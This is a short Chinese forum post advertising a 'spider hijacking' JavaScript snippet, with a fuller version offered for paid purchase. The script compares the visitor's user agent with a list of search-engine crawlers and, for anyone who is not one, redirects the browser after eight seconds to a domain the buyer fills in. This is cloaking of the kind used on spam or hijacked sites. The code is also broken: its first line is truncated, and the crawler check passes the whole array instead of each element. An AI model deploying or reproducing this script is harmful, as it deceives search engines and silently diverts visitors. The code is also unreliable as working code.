蜘蛛劫持跳转的JS代码
此代码为流引新站最好的跳转方法。以上只是部份演示图片,详细可以付费购买。
r _agent = navigator.userAgent;
var _search = ['Baiduspider','Baiduspider-image','baidu Transcoder','YodaoBot','Googlebot','Googlebot-Image','FeedBurner','AdsBot-Google-Mobile','Sogou web spider','Sogou-Test-Spider','Yahoo! Slurp','Yahoo! Slurp China','bingbot','Sosospider','Sosoimagespider','360Spider','YoudaoBot','EasouSpider','YandexBot','Speedy Spider','xFruits','Feedly','360spider'];
var _mark = true;
for (var i=0;i<_search.length;i++) {
if (_agent.search(_search)!=-1) {
_mark = false;
}
}
if (_mark == true) {
setTimeout(sleeptime,8000);
function sleeptime() {
location.href="这里输入您的域名,比如:https://www.niuniubbs.com/";
}
}
页:
[1]